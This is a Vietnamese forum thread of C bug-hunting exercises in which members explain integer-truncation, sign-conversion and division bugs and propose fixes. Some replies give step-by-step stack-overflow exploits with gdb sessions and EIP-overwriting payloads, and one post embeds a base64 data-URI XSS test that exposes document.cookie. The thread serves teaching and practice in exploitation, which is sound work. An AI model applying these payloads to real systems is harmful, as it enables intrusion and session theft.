[Programming] giúp mình tìm lỗi mấy chương trình C này với |
21/02/2009 16:50:15 (+0700) | #1 | 170355 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
Chào các bạn,
Vừa rồi mình có học một cái môn bàn về các vấn đề của ngôn ngữ C. Thầy mình có cho một số bài tập, mà mình thấy vừa hay vừa khó. Có vài bài mình giải được, nhưng cũng có vài bài mình không biết cách giải (nhưng thầy đã giải luôn rồi), và cũng có vài bài mình tự chế ra. Mình sẽ lần lượt gửi lên đây, nếu có nhiều bạn hứng thú với đề tài này. Tất cả các bài dưới đây, mục tiêu là chỉ ra lỗi, sau đó crash (hay tốt hơn là exploit luôn) chương trình nếu được. Mình thích mấy bài trả lời chỉ ra lỗi cặn kẽ hơn là những bài trả lời chỉ crash chương trình không thôi.
Bài 1:
Code:
int main(int argc, char **argv) {
if (argc != 3)
return 1;
unsigned short int x = strlen(argv[1]) + strlen(argv[2]);
char *buf = (char *)malloc(x);
strcpy(buf, argv[1]);
strcat(buf, argv[2]);
}
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
21/02/2009 16:56:11 (+0700) | #2 | 170356 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
Bài thứ 2:
Code:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int x, y;
if (argc != 3)
return 0;
x = atoi(argv[1]);
y = atoi(argv[2]);
return y?x/y:0;
}
Cập nhật: cái bài này mình viết sai một chỗ, thay vì dòng cuối phải là return y?x/y:0; thì mình lại viết nhầm thành return x?x/y:0;. Bây giờ đã sửa lại rồi đó. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
21/02/2009 17:01:39 (+0700) | #3 | 170357 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
Bài 3:
Code:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}
void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];
if(mylen < maxlen)
{
//it's safe now
strcpy(buffer, mybuffer);
}
}
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
21/02/2009 17:09:42 (+0700) | #4 | 170358 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
Tạm thời 3 bài vậy nhen. Bạn nào giải được, nếu muốn cho người khác xem thì cứ gửi lên đây, không thích thì PM mình cũng được.
Hint chung cho ba bài này: *******. Mình sẽ tiết lộ cái hint gồm 7 chữ cái này nếu sau vài ngày mà không có bạn nào làm được hết. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
22/02/2009 02:05:50 (+0700) | #5 | 170397 |
lamer
Elite Member
|
0 |
|
|
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
|
|
Bài 1:
1. strlen trả về unsigned int (4 byte), trong khi x được khai báo là unsigned short int (2 byte). Tràn số nguyên.
2. strcpy sẽ đặt thêm ký tự kết thúc chuỗi vào chuối nên tổng độ lớn của bộ đệm phải là x+1. Ở đây là tràn 1 ký tự NUL.
Bài 2:
Không biết là lỗi hay là được thiết kế như vậy, nhưng giá trị thoát của một chương trình chỉ từ 0 tới 255. Cho nên giá trị thoát của chương trình này có thể sẽ không là giá trị mong muốn.
Bài 3:
strlen trả về unsigned int, trong khi hàm nhận vào char. Nếu argv[1] dài hơn 127 ký tự, thì so sánh mylen < maxlen thành công. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
22/02/2009 03:02:29 (+0700) | #6 | 170401 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
Hahaha lúc gửi bài này, mình đã ngờ là sẽ có bạn lamer vào trả lời rồi :-p. Anyway, hai bài 1, 3 chính xác rồi. Chúc mừng bạn nha.
Quan sát của bạn lamer ở bài số 2 rất hay, nhưng mà vẫn còn có cách hay hơn, crash được cả chương trình. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
22/02/2009 03:47:24 (+0700) | #7 | 170407 |
lamer
Elite Member
|
0 |
|
|
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
|
|
Mình chờ người khác chỉ lỗi của bài 2 vậy. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
25/02/2009 06:39:57 (+0700) | #8 | 170804 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
Có lẽ các bài này hơi khó, nên đến giờ, ngoài bạn lamer ra, vẫn chưa có bạn nào submit lời giải hết trơn. Àh mình muốn thêm một yêu cầu nữa: ngoài phân tích lỗi, đưa cách khai thác, thì phải viết luôn phần sửa lỗi nha.
Bài 4 này có vẻ dễ nè (bạn lamer thôi đừng làm bài này, mình sẽ có bài khác dành cho bạn :p):
Code:
#include <stdlib.h>
#include <stdio.h>
void func(char *p) {
char buf[10+1];
memset(buf, 0, sizeof(buf));
// 10 chars only
sprintf(buf, "%10s", p);
printf("Hello, %s\n", buf);
}
int main(int argc, char **argv) {
if (argc != 2)
return 1;
func(argv[1]);
}
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
25/02/2009 07:17:10 (+0700) | #9 | 170816 |
twilight
Member
|
0 |
|
|
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
|
|
Mạn phép trả lời bài 3, có gì sai các bác sửa dùm,
Phân tích lỗi:
Code:
int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}
void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];
if(mylen < maxlen)
{
strcpy(buffer, mybuffer);
}
}
Như bác lamer đã nói, strlen(argv[1]) trả về kiểu unsign int (kiểu int, 4 byte, không dấu) nghĩa là giá trị của nó từ 0 -> 2^32 -1, giá trị của tham số mylen của safe_strcpy kiểu char (mặc định char là singed char) có dung lương 1 byte (có dấu) (bit vị trí cao nhất là bit dấu) nên giá trị dao động từ -128 --> 127 (-2^(n-1) --> 2^(n-1) -1)
khi ta nhập argv[1] của main có giá trị > 127, qua phép ép kiểu "char mylen" của hàm safe_strcppy, ta làm bit cao nhất của char mylen bật lên = 1 --> thành số âm
nên điều kiện
Code:
if(mylen < maxlen) luôn đúng
B. Khai thác.
Load lên = IDA, Nhìn stack frame của safe_string
ta thấy dòng
Code:
lea eax, [ebp - dest] //dest = -44h = 68
<-->
lea eax, [ebp - 68]
vậy cái buffer[64] nằm cách ebp 68 byte, ta chỉ cần 72 byte là overwrite saved main's EBP, 76 byte là overwrite saved main's EIP
Khai thác thử:
(Code:
gdb) run `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)(gdb) disassemble safe_strcpy
Dump of assembler code for function safe_strcpy:
0x080484b0 <safe_strcpy+0>: push %ebp
0x080484b1 <safe_strcpy+1>: mov %esp,%ebp
0x080484b3 <safe_strcpy+3>: sub $0x58,%esp
0x080484b6 <safe_strcpy+6>: mov 0xc(%ebp),%eax
0x080484b9 <safe_strcpy+9>: mov %al,0xffffffff(%ebp)
0x080484bc <safe_strcpy+12>: movb $0x3f,0xfffffffe(%ebp)
0x080484c0 <safe_strcpy+16>: mov 0xffffffff(%ebp),%al
0x080484c3 <safe_strcpy+19>: cmp 0xfffffffe(%ebp),%al
0x080484c6 <safe_strcpy+22>: jge 0x80484db <safe_strcpy+43>
0x080484c8 <safe_strcpy+24>: add $0xfffffff8,%esp
0x080484cb <safe_strcpy+27>: mov 0x8(%ebp),%eax
0x080484ce <safe_strcpy+30>: push %eax
0x080484cf <safe_strcpy+31>: lea 0xffffffbc(%ebp),%eax
0x080484d2 <safe_strcpy+34>: push %eax
0x080484d3 <safe_strcpy+35>: call 0x8048378 <strcpy@plt>
0x080484d8 <safe_strcpy+40>: add $0x10,%esp
0x080484db <safe_strcpy+43>: mov %ebp,%esp
0x080484dd <safe_strcpy+45>: pop %ebp
0x080484de <safe_strcpy+46>: ret
(gdb) break *safe_strcpy +46
(gdb) run `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
Breakpoint 1, 0x080484de in safe_strcpy ()
(gdb) x/100xb $esp
0xbffff64c: 0x42 0x42 0x42 0x42 0x43 0x43 0x43 0x43
0xbffff654: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff65c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff664: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff66c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff674: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff67c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff684: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff68c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff694: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff69c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff6a4: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff6ac: 0x43 0x43 0x43 0x43
chạy thử với shell code đơn giản: (tạo ngắt hệ thống):
(gdb) run `python -c 'print "A" * 72 + "\x4c\xf6\xff\xbf" + "\x90"* 100 + "\xcc"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "\x4c\xf6\xff\xbf" + "\x90"* 100 + "\xcc"'`
Breakpoint 1, 0x080484de in safe_strcpy ()
(gdb) continue
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
C. Sửa lỗi:
1. cho cái
char mylen
thành
unsigned int mylen
2. dùng strncpy thay cho strcpy
EOF
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
25/02/2009 13:42:38 (+0700) | #10 | 170857 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
Bài số 5:
Code:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
if (argc != 2)
return 0;
int MAXC = 100;
char *buffer;
int len = atoi(argv[1]);
if (!(buffer = (char *) malloc(MAXC)))
return -1;
if (len < 0 || len + 1 >= MAXC) {
free(buffer);
return -1;
}
if (read(0, buffer, len) <= 0) {
free(buffer);
return -1;
}
buffer[len] = '\0';
printf("you entered: %s\n", buffer);
return 0;
}
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
25/02/2009 14:48:44 (+0700) | #11 | 170863 |
lamer
Elite Member
|
0 |
|
|
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
|
|
còn bài 2 lỗi chỗ nào vậy? |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
25/02/2009 15:39:04 (+0700) | #12 | 170866 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
@twilight: cảm ơn bạn đã tham gia và trả lời rất rõ ràng. Tuy vậy mình thấy có vài chỗ chưa chính xác lắm trong bài của bạn:
1. signed char nằm trong range [-128, 127]. Nói chung, các signed type đều có giá trị từ [-2^(N-1), 2^(N-1) -1], trong đó N là width của kiểu đó. Làm sao biết chắc là signed char biểu diễn được số -128?
Số nhỏ nhất mà kiểu char biểu diễn được là số khi biểu diễn binary có dạng: 1000 0000. Muốn biết số này là số nào, chỉ cần lấy bù 2 của nó:
* đảo bit: 0111 1111 = 127
* cộng 1: 127 + 1 = 128
nên số nhỏ nhất mà nó biểu diễn được chính là -128.
2. Không phải lúc nào ép kiểu từ unsigned int > 127 xuống signed char cũng cho ra giá trị âm hay làm cho phép so sánh mylen < maxlen luôn đúng. Cái này bạn lamer cũng nhầm (hay chỉ là trả lời chưa hết ý). Ví dụ như mình chạy cái bài 3 với input là 320 ký tự thì nó vẫn chạy được, kô bị segfault.
$ ./puzzle3 `perl -e 'print "A" x 320'`
Lý do chính là khi thực hiện ép kiểu như thế, compiler sẽ thực hiện truncation, bỏ mấy cái bit không xài của unsigned int, chỉ lấy 8 bit cuối mà thôi. Nên nếu bit thứ 8 (tính từ LSB) của số unsigned int mà là số 0, thì kết quả vẫn là một số dương. Ví dụ như số 320 ở trên, có dạng hexa là 0x0140, nghĩa là byte cuối của nó có giá trị là 0x40 = 64 > 63, nên chương trình thoát ra bình thường, không gọi hàm strcpy.
Dựa vào ý này, giờ mình sửa bài 3 thành thế này, bạn thử exploit nó xem:
Code:
int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}
void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];
if(0 < mylen < maxlen)
{
strcpy(buffer, mybuffer);
}
}
3. Mình nghĩ sử dụng strncpy không phải là giải pháp hay. Bạn thử đọc man page của strncpy xem thì sẽ hiểu ý mình. Vả lại mình thấy chính vì mấy thứ như strncpy này mà cái dạng lỗi ở những bài này mới trở nên phổ biến. Lập trình sư cứ tưởng sử dụng strncpy là an toàn, nhưng do tính toán giá trị tham số n sai, dẫn đến thảm họa. Nên mình nghĩ tốt nhất là hiểu vấn đề, sử dụng cho đúng cách, dẫu là công cụ dở, hơn là chọn công cụ tốt, mà do không hiểu vấn đề, nên cũng làm sai luôn.
Tiếp tục làm đi twilight :-p, mình sẽ gửi tiếp vài bài nữa. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
25/02/2009 17:03:59 (+0700) | #13 | 170868 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
@lamer: kiên nhẫn tí đi, giờ đưa kết quả, nhỡ đâu có bạn đang làm chưa ra thì uổng công cho bạn đó lắm.
Mới chế ra một bài tặng bạn lamer nè:
Bài 6 (chỉ cần chỉ ra lỗi):
Code:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
int TOTAL = 10;
int input[TOTAL];
int ind, value;
char buffer1[12], buffer2[12];
//init
int i;
for(i=0; i<TOTAL; i++) {
input[i] = 0;
}
//get input from user
while (1) {
read(0, buffer1, sizeof(buffer1));
ind = atoi(buffer1);
if (-1 == ind) break;
read(0, buffer2, sizeof(buffer2));
value = atoi(buffer2);
if (ind < 0) {
//get its absolute value, help prevent writing to memory locations outside the array boundary
ind = -ind;
}
input[ind % TOTAL] = value;
}
//do something interesting here with the input, like find its maximum
for(i=0; i<TOTAL; i++) {
printf("%d: %d\n", i, input[i]);
}
return 0;
}
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
25/02/2009 23:18:04 (+0700) | #14 | 170892 |
lamer
Elite Member
|
0 |
|
|
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
|
|
-0x80000000 = -0x80000000 |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 00:05:51 (+0700) | #15 | 170913 |
twilight
Member
|
0 |
|
|
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
|
|
@choc: thanks bác đã chỉ ra chỗ sai cơ bản của mình
tiếp
int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}
void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];
if(0 < mylen < maxlen)
{
strcpy(buffer, mybuffer);
}
}
mình dùng gcc 3.3.6 thì khi compile chạy tốt nhưng ko đúng theo điều kiện if, mình phải sửa lại
thay
Code:
thành
Code:
if((0 < mylen) &&(mylen < maxlen))
cho đúng ý bạn
như vầy vẫn exploit được, vì chỉ cần input khi biểu diễn dạng nhị phân sao cho 8 byte cuối là số dương < 63, còn byte thứ 9 trở đi thì bị truncate cũng đc, nhưng khi strcpy thỏa, nó bị buffer overflow:
Ví dụ khi mình nhập input là 257
biểu dẫn ở dạng binary của unsigned int
-->
0000 0001 0000 0001
--> khi ép kiểu qua char --> 8 byte bị truncate sẽ là 0000 0001 = 1 thập phân
--> điều kiện để strcpy thỏa 0< 1 <63 và vẫn bị segmentation fault
twilight@h4x0r:~/crackme.de/choc$ ./bai3 `python -c 'print "A" * 257'`
v (core dumped)
twilight@h4x0r:~/crackme.de/choc$ ./bai3 `python -c 'print "A" * 319'`
twilight@h4x0r:~/crackme.de/choc$
len(input) = 319 chạy bình thường do 319 = 256 + 63 bắt đầu vi phạm điều kiện <63
Cứ như thế, nó sẽ có từng khoảng từng khoảng rờ rạc nhau có thể làm cho chương trình bị Segmentation fault, nếu bác nào có shellcode quá lớn cho mục đích nào đó, cứ dùng các bit cao từ 9 trở đi |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 00:41:10 (+0700) | #16 | 170931 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
@twilight: bravo. Tiếp đi bạn. Mấy bài này hay ở chỗ là nhiều khi chỉ giao binary không giao source code thì vẫn có thể exploit được. Nhưng đưa source code (tưởng là dễ hơn) lại không nhìn thấy lỗi.
@lamer: mình hâm mộ bạn quá đi. Hay là hai đứa mình học chung lớp nhỉ? Nhưng mà mình không thích cách giải của bạn, cụt lủng, ngắn ngủn, không có giải thích chi hết. Àh hay là bạn định để dành để mở thêm một lớp "Advanced Software Exploitation"? :-D.
BTW, hint cho bài 2: ép kiểu của return, làm sao để return một số, mà số đó, khi bị ép sang int thì bị lỗi.
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 00:44:34 (+0700) | #17 | 170932 |
twilight
Member
|
0 |
|
|
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
|
|
đây là file binary của bai3, khi compiler bằng gcc3.3.6 với source-code của choc_
Code:
int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}
void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];
if(0 < mylen < maxlen)
{
strcpy(buffer, mybuffer);
}
}
-->
http://www.mediafire.com/?9dmhy9ymwwm
test XSS
data:text/html;base64,PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LFBITmpjbWx3ZEQ1aGJHVnlkQ2hrYjJOMWJXVnVkQzVqYjI5cmFXVXBQQzl6WTNKcGNIUSsiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPlNob3cgQ29va2llczwvZm9udD48L2E+ |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 02:15:29 (+0700) | #18 | 170958 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Tui đọc tới đọc lui, đọc xuôi đọc ngược mà chả thấy bài 2 có bug gì cả. Đại ca _choc chỉ giùm em đi. Làm sao mà nó crash được, hay vậy ? |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 06:59:42 (+0700) | #19 | 171020 |
twilight
Member
|
0 |
|
|
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
|
|
choc_ wrote:
Có lẽ các bài này hơi khó, nên đến giờ, ngoài bạn lamer ra, vẫn chưa có bạn nào submit lời giải hết trơn. Àh mình muốn thêm một yêu cầu nữa: ngoài phân tích lỗi, đưa cách khai thác, thì phải viết luôn phần sửa lỗi nha.
Bài 4 này có vẻ dễ nè (bạn lamer thôi đừng làm bài này, mình sẽ có bài khác dành cho bạn :p):
Code:
#include <stdlib.h>
#include <stdio.h>
void func(char *p) {
char buf[10+1];
memset(buf, 0, sizeof(buf));
// 10 chars only
sprintf(buf, "%10s", p);
printf("Hello, %s\n", buf);
}
int main(int argc, char **argv) {
if (argc != 2)
return 1;
func(argv[1]);
}
Lời giải bài 4:
Lỗi nằm ở chỗ hàm sprintf(buf, "%10s", p); ghi đè của gia trị p trỏ đến vào buf mà ko kiểm tra bound của source, dest.
Cái option "%10s", là giá trị trả về mặc định kiểu int của của sprintf = 10 nếu số byte của dest do p trỏ đến <10.
Khai thác trường hợp này đơn giản như khai thác strcpy.
Load hàm func lên IDA:
s= byte ptr -0Ch
arg_0= dword ptr 8
push ebp ; Alternative name is 'gcc2_compiled.'
mov ebp, esp
sub esp, 18h
add esp, 0FFFFFFFCh
push 0Bh ; n
push 0 ; c
lea eax, [ebp+s]
push eax ; s
call _memset
add esp, 10h
add esp, 0FFFFFFFCh
mov eax, [ebp+arg_0]
push eax
push offset format ; "%10s"
lea eax, [ebp+s]
push eax ; s
call _sprintf
add esp, 10h
add esp, 0FFFFFFF8h
lea eax, [ebp+s]
push eax
push offset aHelloS ; "Hello, %s\n"
call _printf
add esp, 10h
mov esp, ebp
pop ebp
retn
func endp
quan sát ta thấy
lea eax, [ebp +s]
nhìn lên khúc đầu thấy biến s = -0C
-->
lea eax, [ebp -12]
Nghĩa là cái buffer cách saved EBP của main 12 byte, --> cần 8 byte nữa để overwrite saved EIP của main
-->
(gdb) run `python -c 'print "A" * 16 + "B" * 4'`
Starting program: /home/twilight/crackme.de/choc/bai4 `python -c 'print "A" * 16 + "B" * 4'`
Breakpoint 1, 0x080484c9 in func ()
(gdb) continue
Continuing.
Hello, AAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20xb $esp
0xbffff6c0: 0xf5 0x85 0x04 0x08 0xdc 0xf6 0xff 0xbf
0xbffff6c8: 0x0a 0xf9 0xff 0xbf 0xaa 0x9d 0xea 0xb7
0xbffff6d0: 0xa4 0xd1 0xfd 0xb7 0x35 0xa6 0xea 0xb7
0xbffff6d8: 0xe8 0xf6 0xff 0xbf 0x41 0x41 0x41 0x41
0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) run `python -c 'print "\x90" * 15 + "\xcc" + "\xdc\xf6\xff\xbf"'`
Starting program: /home/twilight/crackme.de/choc/bai4 `python -c 'print "\x90" * 15 + "\xcc" + "\xdc\xf6\xff\xbf"'`
Breakpoint 1, 0x080484dd in func ()
(gdb) continue
Continuing.
Hello, �����������������
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff6ec in ?? ()
(gdb)
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 07:23:39 (+0700) | #20 | 171029 |
twilight
Member
|
0 |
|
|
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
|
|
TQN wrote:
Tui đọc tới đọc lui, đọc xuôi đọc ngược mà chả thấy bài 2 có bug gì cả. Đại ca _choc chỉ giùm em đi. Làm sao mà nó crash được, hay vậy ?
Lỗi thì thấy rõ mà anh, nhưng yêu cầu của choc_ là crash
để kiểm chứng lỗi tràn số nguyên khi return, có thể làm như sau
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int x, y, z;
if (argc != 3)
return 0;
x = atoi(argv[1]);
y = atoi(argv[2]);
z = y?x/y:0;
printf("z=%d",z);
return z;
}
Trong đó dòng tô đậm là em thêm vào:
kiểu singed int có bound từ -2147483648 --> 2147483647
kiểm chứng lỗi
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483647 1
z=2147483647
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483648 1
z=2147483647
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 07:34:01 (+0700) | #21 | 171033 |
nbthanh
HVA Friend
|
Joined: 21/12/2001 14:51:51
Messages: 429
Offline
|
|
twilight wrote:
kiểm chứng lỗi
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483647 1
z=2147483647
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483648 1
z=2147483647
Cái này đâu phải lỗi. Spec của hàm atoi có ghi rõ mà: nếu số được parse ngằm ngoài vùng cho phép thì nó sẽ trả về MIN_INT hoặc MAX_INT.
Ở đây 2147483648 nằm ngoài vùng của signed int nên bản thân atoi nó đã trả về là 2147483647 rồi chứ không phải là "lỗi" tràn số. Do vậy z = 2147483647 là đúng (vì atoi trả về 2147483647 cho x). |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 08:18:52 (+0700) | #22 | 171037 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
@twilight: bài số 4 chỉ là lừa bịp thôi :-p. Bài đó để minh chứng cho cái ý "thấy vậy mà không phải vậy" khi nhìn vào source code.
Về bài số 2, thì như bạn nbthanh nói, vấn đề mà bạn đưa ra không phải là lỗi của chương trình. Nhưng mà cái ý của bạn thì cũng gần đúng rồi đó. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 13:59:10 (+0700) | #23 | 171073 |
0SAT0
Member
|
0 |
|
|
Joined: 18/06/2008 19:17:58
Messages: 18
Offline
|
|
Bài 2 :
Divide INT_MIN by -1 cause DDOS .
$ ./a.out -2147483648 -1
|
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 14:07:24 (+0700) | #24 | 171075 |
nbthanh
HVA Friend
|
Joined: 21/12/2001 14:51:51
Messages: 429
Offline
|
|
0SAT0 wrote:
Bài 2 :
Divide INT_MIN by -1 cause DDOS .
$ ./a.out -2147483648 -1
Aha, sao lại quên nghĩ đến điểm này
Signed number, ví dụ với int thì là -2147483648 đến +2147483647
Do vậy khi đảo dấu của -2147483648 thì sẽ thành +2147483648 --> out of range.
Tuy nhiên lỗi này gây ra do phép chia chứ chưa đến "công đoạn" return như choc_ gợi ý? |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 19:50:18 (+0700) | #25 | 171085 |
StarGhost
Elite Member
|
0 |
|
|
Joined: 29/03/2005 20:34:22
Messages: 662
Location: The Queen
Offline
|
|
nbthanh wrote:
0SAT0 wrote:
Bài 2 :
Divide INT_MIN by -1 cause DDOS .
$ ./a.out -2147483648 -1
Aha, sao lại quên nghĩ đến điểm này
Signed number, ví dụ với int thì là -2147483648 đến +2147483647
Do vậy khi đảo dấu của -2147483648 thì sẽ thành +2147483648 --> out of range.
Tuy nhiên lỗi này gây ra do phép chia chứ chưa đến "công đoạn" return như choc_ gợi ý?
Nhưng mà nó cứ crash là được rồi còn gì. |
|
Mind your thought. |
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 22:08:11 (+0700) | #26 | 171088 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
@0SATO: đáp án thì đúng nhưng lời giải thì không chấp nhận được :-p. Mình ngờ là bạn tìm thấy đáp án này trên Internet.
@nbthanh: gợi ý là suy nghĩ ban đầu của mình về nguyên nhân gây ra lỗi (mình phát hiện ra lỗi này bằng cách fuzzing với mấy con số may mắn của mình như INT_MIN, UINT_MAX, INT_MAX, -1, 0x80000000...). Ban đầu mình nghĩ là a/b sẽ trả về một giá trị kiểu float, rồi giá trị này sẽ bị ép thành int nên gây ra lỗi.
Sau khi gửi gợi ý lên, mình mới phát hiện ra là suy nghĩ của mình sai rồi. Khi mà cả hai operand đều là integer thì C sẽ thực hiện phép chia integer, kết quả trả về phải là một số int. Mà lúc đó forum lại không cho sửa bài, nên mình không sửa lại được.
Tiếp tục đi các bạn. Hôm nay mình sẽ gửi tiếp một số bài. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
26/02/2009 22:13:57 (+0700) | #27 | 171090 |
0SAT0
Member
|
0 |
|
|
Joined: 18/06/2008 19:17:58
Messages: 18
Offline
|
|
@choc_: thì mình chép lại mà
Trình độ còn gà nên chỉ chép lại chứ chưa phân tích dc như nbthanh )
Mọi người cứ chơi tiếp đi . Bye bye |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
27/02/2009 00:05:09 (+0700) | #28 | 171120 |
twilight
Member
|
0 |
|
|
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
|
|
lolz, ức chế wóa
/hvaonline/jforum.html?module=moderation&action=moreWarn&topic_id=28554&post_id=176059&uid=1706&warned_by=gamma95&token=500c87b4ef34e1df6321d349dd21f273 |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
27/02/2009 00:28:27 (+0700) | #29 | 171124 |
lamer
Elite Member
|
0 |
|
|
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
|
|
À, thì ra là vậy. Hay thật. |
|
|
|
|
[Question] Re: giúp mình tìm lỗi mấy chương trình C này với |
27/02/2009 15:47:50 (+0700) | #30 | 171253 |
choc_
Member
|
0 |
|
|
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
|
|
Bài 7: xử lý Pascal string dạng như 9hvaonline3net0 (đây là dạng DNS domain name trong DNS packet, bài này ông thầy mình nói là sửa lại từ một real world vuln).
